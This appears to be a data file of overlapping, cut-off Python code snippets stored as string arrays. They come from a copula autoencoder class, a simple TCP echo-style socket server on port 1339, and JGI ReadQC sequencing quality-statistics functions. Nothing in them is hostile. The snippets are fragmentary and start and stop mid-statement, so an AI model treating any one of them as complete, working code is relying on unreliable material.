mv_copulas import matplotlib.pyplot as plt class CopulaAutoEncoder(object): def __init__(self, x,", "save_model(self, path): self.copula.to_json(path) print(f\"Saved vine copula model to {path}.\") def load_model(self, path): self.copula", "self.copula = pv.Vinecop(filename=path) print(\"Loaded vine copula model.\") class GaussianCopulaAutoEncoder(CopulaAutoEncoder): \"\"\" Copula Auto Encoder", "self._decode(z) def show_images(self, n=5, imgs=None, cmap=\"gray\", title=None): if imgs is None: imgs =", "import mv_copulas import matplotlib.pyplot as plt class CopulaAutoEncoder(object): def __init__(self, x, ae_model): if", "show_trace=show_trace) elif families == \"parametric\": controls = pv.FitControlsVinecop(family_set=[pv.BicopFamily.indep, pv.BicopFamily.gaussian, pv.BicopFamily.student, pv.BicopFamily.clayton, pv.BicopFamily.gumbel, pv.BicopFamily.frank,", "= None #self.copula = GMMNCopula(dim_out = self.z.shape[1], n_samples_train=n_samples_train, dim_latent=self.z.shape[1]*2) self.copula = GMMNCopula(dim_out =", "# sample an image if z is None: return self._decode(self._sample_z(n_samples)) else: return self._decode(z)", "def fit(self, epochs=100, batch_size=100, n_samples_train=200, regen_noise=10000000, validation_split=0.0, validation_data=None): if validation_data is not None:", "& Systems @ TU Darmstadt \"\"\" import numpy as np import tensorflow as", "class CopulaAutoEncoder(object): def __init__(self, x, ae_model): if isinstance(ae_model, str): ae_model = tf.keras.models.load_model(ae_model) self.encoder_model", "_decode(self,z): return self.decoder_model.predict(z) def fit(self): pass def sample_images(self, n_samples): # sample an image", "imgs = self.sample_images(n) plt.figure(figsize=(16, 3)) for i in range(n): ax = plt.subplot(1, n," ]
[ "PyBroadException try: data = connection.recv(16) msg = str(data, \"utf8\") msg = msg.replace(\"#\", \"\")", "TCP/IP socket socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM) socket.bind(('', 1339)) socket.listen(1) while True: connection, client_address", "= socket.accept() print('connection from', client_address) while True: # noinspection PyBroadException try: data =", "socket socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM) socket.bind(('', 1339)) socket.listen(1) while True: connection, client_address =", "connection, client_address = socket.accept() print('connection from', client_address) while True: # noinspection PyBroadException try:", "while True: connection, client_address = socket.accept() print('connection from', client_address) while True: # noinspection", "try: data = connection.recv(16) msg = str(data, \"utf8\") msg = msg.replace(\"#\", \"\") print(msg)", "= connection.recv(16) msg = str(data, \"utf8\") msg = msg.replace(\"#\", \"\") print(msg) connection.sendall(bytes(Constants.ANSWER_POSITIVE, \"utf8\"))", "socket import Constants # Create a TCP/IP socket socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM) socket.bind(('',", "socket.listen(1) while True: connection, client_address = socket.accept() print('connection from', client_address) while True: #", "1339)) socket.listen(1) while True: connection, client_address = socket.accept() print('connection from', client_address) while True:", "# noinspection PyBroadException try: data = connection.recv(16) msg = str(data, \"utf8\") msg =", "while True: # noinspection PyBroadException try: data = connection.recv(16) msg = str(data, \"utf8\")", "from', client_address) while True: # noinspection PyBroadException try: data = connection.recv(16) msg =", "client_address = socket.accept() print('connection from', client_address) while True: # noinspection PyBroadException try: data", "= socket.socket(socket.AF_INET, socket.SOCK_STREAM) socket.bind(('', 1339)) socket.listen(1) while True: connection, client_address = socket.accept() print('connection", "a TCP/IP socket socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM) socket.bind(('', 1339)) socket.listen(1) while True: connection,", "socket.accept() print('connection from', client_address) while True: # noinspection PyBroadException try: data = connection.recv(16)", "Create a TCP/IP socket socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM) socket.bind(('', 1339)) socket.listen(1) while True:", "import socket import Constants # Create a TCP/IP socket socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)", "data = connection.recv(16) msg = str(data, \"utf8\") msg = msg.replace(\"#\", \"\") print(msg) connection.sendall(bytes(Constants.ANSWER_POSITIVE,", "client_address) while True: # noinspection PyBroadException try: data = connection.recv(16) msg = str(data,", "msg = str(data, \"utf8\") msg = msg.replace(\"#\", \"\") print(msg) connection.sendall(bytes(Constants.ANSWER_POSITIVE, \"utf8\")) except: break", "socket.socket(socket.AF_INET, socket.SOCK_STREAM) socket.bind(('', 1339)) socket.listen(1) while True: connection, client_address = socket.accept() print('connection from',", "socket.SOCK_STREAM) socket.bind(('', 1339)) socket.listen(1) while True: connection, client_address = socket.accept() print('connection from', client_address)", "# Create a TCP/IP socket socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM) socket.bind(('', 1339)) socket.listen(1) while", "import Constants # Create a TCP/IP socket socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM) socket.bind(('', 1339))", "print('connection from', client_address) while True: # noinspection PyBroadException try: data = connection.recv(16) msg", "noinspection PyBroadException try: data = connection.recv(16) msg = str(data, \"utf8\") msg = msg.replace(\"#\",", "socket.bind(('', 1339)) socket.listen(1) while True: connection, client_address = socket.accept() print('connection from', client_address) while", "connection.recv(16) msg = str(data, \"utf8\") msg = msg.replace(\"#\", \"\") print(msg) connection.sendall(bytes(Constants.ANSWER_POSITIVE, \"utf8\")) except:", "Constants # Create a TCP/IP socket socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM) socket.bind(('', 1339)) socket.listen(1)", "True: connection, client_address = socket.accept() print('connection from', client_address) while True: # noinspection PyBroadException", "socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM) socket.bind(('', 1339)) socket.listen(1) while True: connection, client_address = socket.accept()", "True: # noinspection PyBroadException try: data = connection.recv(16) msg = str(data, \"utf8\") msg" ]
[ "values totalling 420.3971. <0.387106 +/- 0.112691> if len(line) == 0 or not line.startswith(\"#Found\"):", "25 26 28 3 21 32 106904 84046 81795 105956 0 378701 #", "of %s.\" % (db)) return RQCExitCodes.JGI_FAILURE ## ## wc the top hits ##", "Q20_seen == 0: Q20_seen = 1 stats[20] = cummlatPer dataToRecordDict[ReadqcStats.ILLUMINA_READ_Q20] = cummlatPer elif", "RQCReadQcConfig.CFG[\"stats_file\"] filesFile = RQCReadQcConfig.CFG[\"files_file\"] ## ## Process blast output files ## matchings =", "-v '^#' %s 2>/dev/null | wc -l \" % (tophitFile), True, log) t", "statsBase[30] dataToRecordDict[ReadqcStats.ILLUMINA_BASE_Q25] = cummlatPer dataToRecordDict[ReadqcStats.ILLUMINA_BASE_C25] = cummlatBase if Q20_seen == 0 and Q25_seen", "## New format ##Median 38 ##Mean 37.061 ##STDev 4.631 ##Mean_30 37.823 ##STDev_30 1.699", "top100hitFound.strip() if top100hitFound: append_rqc_file(filesFile, ReadqcStats.ILLUMINA_READ_TOP100HIT_FILE + \" \" + db, os.path.join(megablastPath, top100hitFound), log)", "level report could be successfully generated. JGI_FAILURE: Illumina read level report could not", "base level data processing script. \"\"\" def base_level_qual_stats(dataToRecordDict, reformatObqhistFile, log): cummlatPer = 0", "10:0, 5:0} Q30_seen = 0 Q25_seen = 0 Q20_seen = 0 Q15_seen =", "the first line # Ex) #Found 1086 total values totalling 420.3971. <0.387106 +/-", "t = lines[-1].split('\\t') # breaks 2016-09-07 #assert len(t) == 5 totalMers = int(t[0])", "26 10 2 34 96452 83003 107891 91355 0 378701 # ## 4", "and put them into database. Usage : read_gc_mean($analysis) Args : 1) A reference", "topHit = int(t[0]) append_rqc_stats(statsFile, ReadqcStats.ILLUMINA_READ_TOP_HITS + \" \" + db, topHit, log) ##", "the illumina read level data processing script. \"\"\" def read_level_qual_stats(dataToRecordDict, qhistTxtFullPath, log): retCode", "# ## 4 378701 2 37 9686653 25.58 19 32 33 14 2", "percent = float(t[2]) except IndexError: log.warn(\"parse error in base_level_qual_stats: %s %s %s %s\"", "102440 46 378701 # ## 5 378701 2 37 13790443 36.42 37 37", "max_2 mean_2 Q1_2 med_2 Q3_2 LW_2 RW_2 # 0 6900 0 36 33.48", "min max sum mean Q1 med Q3 IQR lW rW A_Count C_Count G_Count", "2 34 6543224 17.28 15 16 26 11 2 34 107573 77148 97953", "== 1 and t[0].isdigit(): top100hits = int(t[0]) append_rqc_stats(statsFile, ReadqcStats.ILLUMINA_READ_TOP_100HITS + \" \" +", "Title : q20_score Function : this method returns Q20 using a qrpt file", "Failed to add megablast tophit file of %s.\" % (db)) return RQCExitCodes.JGI_FAILURE ##", "0 0.00000 allLines = open(reformatObqhistFile).readlines() for l in allLines[::-1]: l = l.strip() ##", "if Q10_seen == 0 and Q15_seen != 0: Q10_seen = 1 statsPerc[10] =", "elif qavg == 25: Q25_seen = 1 statsPerc[25] = cummlatPer statsBase[25] = cummlatBase", "= 0 Q15_seen = 0 Q10_seen = 0 Q5_seen = 0 ## New", "folder wkdir/qual Returns : JGI_SUCCESS: Illumina read level report could be successfully generated.", "## 2 378701 2 34 6543224 17.28 15 16 26 11 2 34", "# 0 1 2 3 4 5 6 7 8 9 10 11", "and qavg > 20 and Q25_seen == 0: Q25_seen = 1 stats[25] =", "mean = float(toks[6][1:]) * 100.0 stdev = float(toks[8][:-1]) * 100.0 log.debug(\"mean, stdev =", "<= 15 and qavg > 10 and Q15_seen == 0: Q15_seen = 1", "and add tophit file ## tophitFound, _, exitCode = run_sh_command(\"ls %s\" % (tophitFile),", "with open(dataFile, \"r\") as merFH: lines = merFH.readlines() ## last line t =", "end of the illumina read level data processing script. \"\"\" def read_level_qual_stats(dataToRecordDict, qhistTxtFullPath,", "20:0, 15:0, 10:0, 5:0} Q30_seen = 0 Q25_seen = 0 Q20_seen = 0", "os import sys ## custom libs in \"../lib/\" srcDir = os.path.dirname(__file__) sys.path.append(os.path.join(srcDir, 'tools'))", "34 34 3 27 34 108573 83917 81999 104127 85 378701 # ##", "if os.path.isfile(histFile): with open(histFile, \"r\") as histFH: line = histFH.readline() ## we only", "stats[30] dataToRecordDict[ReadqcStats.ILLUMINA_READ_Q25] = cummlatPer if Q20_seen == 0 and Q25_seen != 0: Q20_seen", "58 378701 # ## # ## or # ## # ## READ2.qrpt #", "read level report could not be generated. Comments : This function is intended", "0.00000 if len(l) > 0: if l.startswith(\"#\"): if l.startswith(\"#Mean_30\"): dataToRecordDict[ReadqcStats.ILLUMINA_BASE_Q30_SCORE_MEAN] = l.split('\\t')[1] elif", "13361 #100000 43.072 49.184 10768 12296 ... if os.path.isfile(dataFile): with open(dataFile, \"r\") as", "cummlatPer dataToRecordDict[ReadqcStats.ILLUMINA_BASE_C15] = cummlatBase if Q10_seen == 0 and Q15_seen != 0: Q10_seen", "not found: %s\" % (qhistTxtFullPath)) return retCode \"\"\" Title : read_gc_mean Function :", "# if num == 1: # continue # # ############## # ## Old", "############## # ## Old format # ## READ1.qrpt # ## column count min", "cummlatPer) if qavg <= 30 and qavg > 25 and Q30_seen == 0:", "stats[30] = cummlatPer dataToRecordDict[ReadqcStats.ILLUMINA_READ_Q30] = cummlatPer elif qavg <= 25 and qavg >", "(taxlistFile), True, log) taxListFound = taxListFound.strip() if taxListFound: append_rqc_file(filesFile, ReadqcStats.ILLUMINA_READ_TAXLIST_FILE + \" \"", "= statsBase[30] dataToRecordDict[ReadqcStats.ILLUMINA_BASE_Q25] = cummlatPer dataToRecordDict[ReadqcStats.ILLUMINA_BASE_C25] = cummlatBase if Q20_seen == 0 and", "1 statsPerc[5] = statsPerc[10] statsBase[5] = statsBase[10] dataToRecordDict[ReadqcStats.ILLUMINA_BASE_Q5] = cummlatPer dataToRecordDict[ReadqcStats.ILLUMINA_BASE_C5] = cummlatBase", "return RQCExitCodes.JGI_SUCCESS \"\"\" Title : q20_score Function : this method returns Q20 using", "Q25_seen == 0: Q25_seen = 1 stats[25] = cummlatPer dataToRecordDict[ReadqcStats.ILLUMINA_READ_Q25] = cummlatPer elif", "29 36 pos = None mean = None t = l.split(\"\\t\") pos =", ": 1) A reference to an JGI_Analysis object Returns : JGI_SUCCESS: JGI_FAILURE: Comments", "q20 = pos # # else: # log.error(\"- qhist file not found: %s\"", "taxListFound = taxListFound.strip() if taxListFound: append_rqc_file(filesFile, ReadqcStats.ILLUMINA_READ_TAXLIST_FILE + \" \" + db, os.path.join(megablastPath,", "!= 0: Q25_seen = 1 statsPerc[25] = statsPerc[30] statsBase[25] = statsBase[30] dataToRecordDict[ReadqcStats.ILLUMINA_BASE_Q25] =", "cummlatPer elif qavg <= 20 and qavg > 15 and Q20_seen == 0:", "0: log.error(\"Q30 is 0 . Read quality values are ZERO.\") log.debug(\"Q30 %s, Q25", "0: Q25_seen = 1 stats[25] = stats[30] dataToRecordDict[ReadqcStats.ILLUMINA_READ_Q25] = cummlatPer if Q20_seen ==", "exitCode = run_sh_command(\"grep -v '^#' %s 2>/dev/null | wc -l \" % (top100hitFile),", "34 34 29 36 6900 0 36 33.48 33 34 34 29 36", "= l.split('\\t')[1] elif l.startswith(\"#STDev\"): dataToRecordDict[ReadqcStats.ILLUMINA_BASE_OVERALL_BASES_Q_SCORE_STD] = l.split('\\t')[1] continue qavg = None nbase =", "== 1: # continue # # ############## # ## Old format # ##", "17.28 15 16 26 11 2 34 107573 77148 97953 88998 7029 378701", "\" \" + db, os.path.join(megablastPath, top100hitFound), log) else: log.error(\"- Failed to add megablast", "l.split(\"\\t\") pos = int(t[0]) + 1 if readNum == 1: mean = float(t[4])", "read level data processing script. \"\"\" def read_level_mer_sampling(dataToRecordDict, dataFile, log): retCode = RQCExitCodes.JGI_FAILURE", "10208226 26.96 25 33 35 10 10 37 98021 90611 89040 101029 0", "New data # 0 1 2 3 4 5 6 7 8 9", "# ## column count min max sum mean Q1 med Q3 IQR lW", "bqHist file = %s\" % (bqHist)) q20 = None if os.path.isfile(bqHist): with open(bqHist,", "dataToRecordDict[ReadqcStats.ILLUMINA_READ_Q10] = cummlatPer elif qavg <= 5 and Q5_seen == 0: Q5_seen =", "## ## add .parsed file ## parsedFileFound, _, exitCode = run_sh_command(\"ls %s\" %", "float(toks[6][1:]) * 100.0 stdev = float(toks[8][:-1]) * 100.0 log.debug(\"mean, stdev = %.2f, %.2f\"", "open(bqHist, \"r\") as qrptFH: for l in qrptFH: if l.startswith('#'): continue ## New", "stats[15] = stats[20] dataToRecordDict[ReadqcStats.ILLUMINA_READ_Q15] = cummlatPer if Q10_seen == 0 and Q15_seen !=", "= 1 statsPerc[30] = cummlatPer statsBase[30] = cummlatBase dataToRecordDict[ReadqcStats.ILLUMINA_BASE_Q30] = cummlatPer dataToRecordDict[ReadqcStats.ILLUMINA_BASE_C30] =", "q20_score_new(bqHist, readNum, log): log.debug(\"q20_score_new(): bqHist file = %s\" % (bqHist)) q20 = None", "nStartUniMer fracStartUniMer nRandUniMer fracRandUniMer ## 0 1 2 3 4 ##25000 2500 0.1", "5 totalMers = int(t[0]) ## new by bbcountunique uniqStartMerPer = float(\"%.2f\" % (float(t[1])))", "the illumina base level data processing script. \"\"\" def base_level_qual_stats(dataToRecordDict, reformatObqhistFile, log): cummlatPer", "True, log) t = tophits.split() if len(t) == 1 and t[0].isdigit(): topHit =", "0 0.00000 #6 0 0.00000 allLines = open(reformatObqhistFile).readlines() for l in allLines[::-1]: l", "cummlatPer statsBase[15] = cummlatBase dataToRecordDict[ReadqcStats.ILLUMINA_BASE_Q15] = cummlatPer dataToRecordDict[ReadqcStats.ILLUMINA_BASE_C15] = cummlatBase elif qavg ==", "0: Q15_seen = 1 stats[15] = cummlatPer dataToRecordDict[ReadqcStats.ILLUMINA_READ_Q15] = cummlatPer elif qavg <=", "if qavg <= 30 and qavg > 25 and Q30_seen == 0: Q30_seen", "if mean and pos: # if mean < 20: # return pos -", "# # # return q20 def q20_score_new(bqHist, readNum, log): log.debug(\"q20_score_new(): bqHist file =", "taxListFound), log) else: log.error(\"- Failed to add megablast taxlist file of %s.\" %", "qavg > 5 and Q10_seen == 0: Q10_seen = 1 stats[10] = cummlatPer", "mean and pos: # if mean < 20: # return pos - 1", "stats = {30:0, 25:0, 20:0, 15:0, 10:0, 5:0} allLines = open(qhistTxtFullPath).readlines() for l", "qavg, nbase, percent)) continue log.debug(\"base_level_qual_stats(): qavg and nbase and percent: %s %s %s\"", "0 and Q20_seen != 0: Q15_seen = 1 stats[15] = stats[20] dataToRecordDict[ReadqcStats.ILLUMINA_READ_Q15] =", "retCode = RQCExitCodes.JGI_FAILURE cummlatPer = 0.0 Q30_seen = 0 Q25_seen = 0 Q20_seen", "log) t = species.split() if len(t) == 1 and t[0].isdigit(): spe = int(t[0])", "Comments : \"\"\" # def q20_score(qrpt, log): # log.debug(\"qrpt file %s\" % (qrpt))", "85 378701 # ## 2 378701 2 34 12515957 33.05 33 34 34", "level data processing script. \"\"\" def read_level_mer_sampling(dataToRecordDict, dataFile, log): retCode = RQCExitCodes.JGI_FAILURE ##", "taxlist file of %s.\" % (db)) return RQCExitCodes.JGI_FAILURE ## ## Find and add", "sum mean Q1 med Q3 IQR lW rW A_Count C_Count G_Count T_Count N_Count", "check that no value is missing. if Q25_seen == 0 and Q30_seen !=", "qual scores and plots of read level QC Usage : base_level_qual_stats($analysis, $) Args", "13807944 36.46 37 37 37 0 37 37 96935 95322 83958 102440 46", "## New data #count first rand first_cnt rand_cnt # 0 1 2 3", "append_rqc_file(filesFile, ReadqcStats.ILLUMINA_READ_TOPHIT_FILE + \" \" + db, os.path.join(megablastPath, tophitFound), log) else: log.error(\"- Failed", "int(t[0]) append_rqc_stats(statsFile, ReadqcStats.ILLUMINA_READ_TOP_HITS + \" \" + db, topHit, log) ## ## wc", "elif qavg <= 15 and qavg > 10 and Q15_seen == 0: Q15_seen", "count min max sum mean Q1 med Q3 IQR lW rW A_Count C_Count", "of %s.\" % (db)) return RQCExitCodes.JGI_FAILURE else: log.info(\"- No blast hits for %s.\"", "# q20 = None # num = 0 # # if os.path.isfile(qrpt): #", "# ## 2 378701 2 34 6543224 17.28 15 16 26 11 2", "log) Args : blast db name or full path Returns : SUCCESS FAILURE", "t = tophits.split() if len(t) == 1 and t[0].isdigit(): topHit = int(t[0]) append_rqc_stats(statsFile,", "elif qavg <= 25 and qavg > 20 and Q25_seen == 0: Q25_seen", "nbase if qavg == 30: Q30_seen = 1 statsPerc[30] = cummlatPer statsBase[30] =", "and qavg > 25 and Q30_seen == 0: Q30_seen = 1 stats[30] =", "hist text file does not contains right results: %s, %s\" % (histFile, line))", "0.00000 allLines = open(reformatObqhistFile).readlines() for l in allLines[::-1]: l = l.strip() ## ##", "37 13790443 36.42 37 37 37 0 37 37 114586 68297 78020 117740", "stats[15] dataToRecordDict[ReadqcStats.ILLUMINA_READ_Q10] = cummlatPer if Q5_seen == 0 and Q10_seen != 0: Q5_seen", "\" \" + db, os.path.join(megablastPath, tophitFound), log) else: log.error(\"- Failed to add megablast", "file of %s.\" % (db)) return RQCExitCodes.JGI_FAILURE ## ## Find and add top100hit", "%s, %s\" % (histFile, line)) retCode = RQCExitCodes.JGI_FAILURE else: toks = line.split() assert", "append_rqc_stats(statsFile, ReadqcStats.ILLUMINA_READ_TOP_100HITS + \" \" + db, top100hits, log) ## ## Find and", ": base_level_qual_stats($analysis, $) Args : 1) A reference to an JGI_Analysis object 2)", "20: # return pos - 1 # else: # q20 = pos #", "med_2 Q3_2 LW_2 RW_2 # 0 6900 0 36 33.48 33 34 34", "| wc -l \" % (taxlistFile), True, log) t = species.split() if len(t)", "53.444 11648 13361 #100000 43.072 49.184 10768 12296 ... if os.path.isfile(dataFile): with open(dataFile,", "megablast taxlist file of %s.\" % (db)) return RQCExitCodes.JGI_FAILURE ## ## Find and", "!= 0: Q10_seen = 1 stats[10] = stats[15] dataToRecordDict[ReadqcStats.ILLUMINA_READ_Q10] = cummlatPer if Q5_seen", "= RQCExitCodes.JGI_FAILURE ## Old data #nSeq nStartUniMer fracStartUniMer nRandUniMer fracRandUniMer ## 0 1", "topHit = 0 tophitFile = os.path.join(megablastPath, \"megablast.*.%s*.parsed.tophit\" % (db)) tophits, _, exitCode =", "dataToRecordDict[ReadqcStats.ILLUMINA_BASE_Q20] = cummlatPer dataToRecordDict[ReadqcStats.ILLUMINA_BASE_C20] = cummlatBase elif qavg == 15: Q15_seen = 1", "of %s.\" % (db)) return RQCExitCodes.JGI_FAILURE ## ## Find and add tophit file", "378701 # ## 5 378701 2 37 13790443 36.42 37 37 37 0", "0 36 33.48 33 34 34 29 36 6900 0 36 33.48 33", "else: # q20 = pos # # else: # log.error(\"- qhist file not", "stats[25] dataToRecordDict[ReadqcStats.ILLUMINA_READ_Q20] = cummlatPer if Q15_seen == 0 and Q20_seen != 0: Q15_seen", "cummlatPer statsBase[5] = cummlatBase dataToRecordDict[ReadqcStats.ILLUMINA_BASE_Q5] = cummlatPer dataToRecordDict[ReadqcStats.ILLUMINA_BASE_C5] = cummlatBase ## Double check", "\"\"\" Readqc report: record stat key-value in readqc-stats.txt ### JGI_Analysis_Utility_Illumina::illumina_read_level_report Created: Jul 24", "Q3 IQR lW rW A_Count C_Count G_Count T_Count N_Count Max_count # ## 1", "<= 10 and qavg > 5 and Q10_seen == 0: Q10_seen = 1", "working folder wkdir/uniqueness Returns : JGI_SUCCESS: Illumina read level report could be successfully", "cummlatBase if Q15_seen == 0 and Q20_seen != 0: Q15_seen = 1 statsPerc[15]", "line = histFH.readline() ## we only need the first line # Ex) #Found", "if Q25_seen == 0 and Q30_seen != 0: Q25_seen = 1 statsPerc[25] =", "log) t = species.split() if len(t) == 1 and t[0].isdigit(): top100hits = int(t[0])", "Q30_seen != 0: Q25_seen = 1 stats[25] = stats[30] dataToRecordDict[ReadqcStats.ILLUMINA_READ_Q25] = cummlatPer if", "== 5 totalMers = int(t[0]) ## new by bbcountunique uniqStartMerPer = float(\"%.2f\" %", "and Q15_seen != 0: Q10_seen = 1 statsPerc[10] = statsPerc[15] statsBase[10] = statsBase[15]", "statsBase[30] = cummlatBase dataToRecordDict[ReadqcStats.ILLUMINA_BASE_Q30] = cummlatPer dataToRecordDict[ReadqcStats.ILLUMINA_BASE_C30] = cummlatBase elif qavg == 25:", "as input Usage : JGI_QC_Utility::qc20_score($qrpt) Args : $_[0] : qrpt file. Returns :", "= float(toks[6][1:]) * 100.0 stdev = float(toks[8][:-1]) * 100.0 log.debug(\"mean, stdev = %.2f,", "Q10_seen != 0: Q5_seen = 1 statsPerc[5] = statsPerc[10] statsBase[5] = statsBase[10] dataToRecordDict[ReadqcStats.ILLUMINA_BASE_Q5]", "wkdir/qual Returns : JGI_SUCCESS: Illumina read level report could be successfully generated. JGI_FAILURE:", "1 378701 2 34 12447306 32.87 31 34 34 3 27 34 108573", "qhistTxtFullPath, log): retCode = RQCExitCodes.JGI_FAILURE cummlatPer = 0.0 Q30_seen = 0 Q25_seen =", "run_sh_command(\"ls %s\" % (parsedFile), True, log) if parsedFileFound: parsedFileFound = parsedFileFound.strip() append_rqc_file(filesFile, ReadqcStats.ILLUMINA_READ_PARSED_FILE", "0.00593 #3 0 0.00000 #4 0 0.00000 #5 0 0.00000 #6 0 0.00000", "Q15_seen = 1 statsPerc[15] = cummlatPer statsBase[15] = cummlatBase dataToRecordDict[ReadqcStats.ILLUMINA_BASE_Q15] = cummlatPer dataToRecordDict[ReadqcStats.ILLUMINA_BASE_C15]", "88998 7029 378701 # ## 3 378701 2 34 7131741 18.83 16 16", "89040 101029 0 378701 # # pos = None # mean = None", "% (top100hitFile), True, log) top100hitFound = top100hitFound.strip() if top100hitFound: append_rqc_file(filesFile, ReadqcStats.ILLUMINA_READ_TOP100HIT_FILE + \"", "statsPerc[25] statsBase[20] = statsBase[25] dataToRecordDict[ReadqcStats.ILLUMINA_BASE_Q20] = cummlatPer dataToRecordDict[ReadqcStats.ILLUMINA_BASE_C20] = cummlatBase if Q15_seen ==", "= cummlatPer if Q30_seen == 0: log.error(\"Q30 is 0 . Read quality values", "Generate qual scores and plots of read level QC Usage : read_level_qual_stats($analysis, $)", "import RQCReadQcConfig, ReadqcStats from rqc_constants import RQCExitCodes from os_utility import run_sh_command from common", "qavg > 15 and Q20_seen == 0: Q20_seen = 1 stats[20] = cummlatPer", ": Generate qual scores and plots of read level 20mer sampling Usage :", "0 Q15_seen = 0 Q10_seen = 0 Q5_seen = 0 ## New format", ": JGI_SUCCESS: JGI_FAILURE: Comments : \"\"\" def read_gc_mean(histFile, log): mean = 0.0 stdev", "34 108573 83917 81999 104127 85 378701 # ## 2 378701 2 34", "libs in \"../lib/\" srcDir = os.path.dirname(__file__) sys.path.append(os.path.join(srcDir, 'tools')) ## ./tools sys.path.append(os.path.join(srcDir, '../lib')) ##", "Q1_2 med_2 Q3_2 LW_2 RW_2 # 0 6900 0 36 33.48 33 34", "JGI_Analysis object Returns : JGI_SUCCESS: JGI_FAILURE: Comments : \"\"\" def read_gc_mean(histFile, log): mean", "= 1 statsPerc[20] = cummlatPer statsBase[20] = cummlatBase dataToRecordDict[ReadqcStats.ILLUMINA_BASE_Q20] = cummlatPer dataToRecordDict[ReadqcStats.ILLUMINA_BASE_C20] =", "ReadqcStats.ILLUMINA_READ_TOP_HITS + \" \" + db, topHit, log) ## ## wc the taxonomic", "bases fraction # 0 77098 0.00043 # 1 0 0.00000 # 2 0", "values: %s\" % (dataToRecordDict)) return RQCExitCodes.JGI_SUCCESS \"\"\" Title : q20_score Function : this", "\"r\") as histFH: line = histFH.readline() ## we only need the first line", "read level QC Usage : base_level_qual_stats($analysis, $) Args : 1) A reference to", "== 1: mean = float(t[4]) else: mean = float(t[13]) if mean and pos:", "1 statsPerc[25] = cummlatPer statsBase[25] = cummlatBase dataToRecordDict[ReadqcStats.ILLUMINA_BASE_Q25] = cummlatPer dataToRecordDict[ReadqcStats.ILLUMINA_BASE_C25] = cummlatBase", "(qavg, nbase, percent)) cummlatPer += percent * 100.0 cummlatPer = float(\"%.f\" % (cummlatPer))", "\" \" + db, hitCount, log) ## ## add .parsed file ## parsedFileFound,", "a qrpt file as input Usage : JGI_QC_Utility::qc20_score($qrpt) Args : $_[0] : qrpt", "tophit file ## tophitFound, _, exitCode = run_sh_command(\"ls %s\" % (tophitFile), True, log)", "= l.split() try: qavg = int(t[0]) nbase = int(t[1]) percent = float(t[2]) except", "Returns : JGI_SUCCESS: JGI_FAILURE: Comments : \"\"\" def read_gc_mean(histFile, log): mean = 0.0", "0 Q25_seen = 0 Q20_seen = 0 Q15_seen = 0 Q10_seen = 0", "15:0, 10:0, 5:0} allLines = open(qhistTxtFullPath).readlines() for l in allLines[::-1]: if not l:", "int(t[0]) ## new by bbcountunique uniqStartMerPer = float(\"%.2f\" % (float(t[1]))) uniqRandtMerPer = float(\"%.2f\"", "mean = float(t[13]) if mean and pos: if mean < 20: return pos", "= 0 # # if os.path.isfile(qrpt): # with open(qrpt, \"r\") as qrptFH: #", "qavg and nbase and percent: %s %s %s\" % (qavg, nbase, percent)) cummlatPer", "1.517 # #Quality bases fraction # 0 77098 0.00043 # 1 0 0.00000", "# q20 = pos # # else: # log.error(\"- qhist file not found:", "(qhistTxtFullPath)) return retCode \"\"\" Title : read_gc_mean Function : This function generates average", "101029 0 378701 # # pos = None # mean = None #", "= float(\"%.2f\" % cummlatPer) if qavg <= 30 and qavg > 25 and", "%s\" % (tophitFile), True, log) tophitFound = tophitFound.strip() if tophitFound: append_rqc_file(filesFile, ReadqcStats.ILLUMINA_READ_TOPHIT_FILE +", "% (tophitFile), True, log) tophitFound = tophitFound.strip() if tophitFound: append_rqc_file(filesFile, ReadqcStats.ILLUMINA_READ_TOPHIT_FILE + \"", "Comments : \"\"\" def read_gc_mean(histFile, log): mean = 0.0 stdev = 0.0 retCode", "\"\"\" Title : read_megablast_hits Function : This function generates tophit list of megablast", "0: Q20_seen = 1 statsPerc[20] = statsPerc[25] statsBase[20] = statsBase[25] dataToRecordDict[ReadqcStats.ILLUMINA_BASE_Q20] = cummlatPer", "cummlatPer = float(\"%.f\" % (cummlatPer)) if cummlatPer > 100: cummlatPer = 100.0 ##", "file as input Usage : JGI_QC_Utility::qc20_score($qrpt) Args : $_[0] : qrpt file. Returns", "mean Q1 med Q3 IQR lW rW A_Count C_Count G_Count T_Count N_Count Max_count", "= stats[25] dataToRecordDict[ReadqcStats.ILLUMINA_READ_Q20] = cummlatPer if Q15_seen == 0 and Q20_seen != 0:", "1 statsPerc[30] = cummlatPer statsBase[30] = cummlatBase dataToRecordDict[ReadqcStats.ILLUMINA_BASE_Q30] = cummlatPer dataToRecordDict[ReadqcStats.ILLUMINA_BASE_C30] = cummlatBase", "11648 13361 #100000 43.072 49.184 10768 12296 ... if os.path.isfile(dataFile): with open(dataFile, \"r\")", "3 27 34 108573 83917 81999 104127 85 378701 # ## 2 378701", "= cummlatBase elif qavg == 25: Q25_seen = 1 statsPerc[25] = cummlatPer statsBase[25]", ": \"\"\" def read_gc_mean(histFile, log): mean = 0.0 stdev = 0.0 retCode =", "Illumina read level report could not be generated. Comments : This function is", "83555 84449 98519 0 378701 # ## 3 378701 2 34 12519460 33.06", "statsPerc[15] = statsPerc[20] statsBase[15] = statsBase[20] dataToRecordDict[ReadqcStats.ILLUMINA_BASE_Q15] = cummlatPer dataToRecordDict[ReadqcStats.ILLUMINA_BASE_C15] = cummlatBase if", "if Q15_seen == 0 and Q20_seen != 0: Q15_seen = 1 stats[15] =", "= l.split(\"\\t\") pos = int(t[0]) + 1 if readNum == 1: mean =", "append_rqc_file statsFile = RQCReadQcConfig.CFG[\"stats_file\"] filesFile = RQCReadQcConfig.CFG[\"files_file\"] \"\"\" Title : read_megablast_hits Function :", "megablast top100hit file of %s.\" % (db)) return RQCExitCodes.JGI_FAILURE else: log.info(\"- No blast", "if Q5_seen == 0 and Q10_seen != 0: Q5_seen = 1 statsPerc[5] =", "mean < 20: return pos - 1 else: q20 = pos else: log.error(\"-", "method returns Q20 using a qrpt file as input Usage : JGI_QC_Utility::qc20_score($qrpt) Args", "# mean = None # t = l.split(\"\\t\") # assert len(t) > 6", "pos # # else: # log.error(\"- qhist file not found: %s\" % (qrpt))", 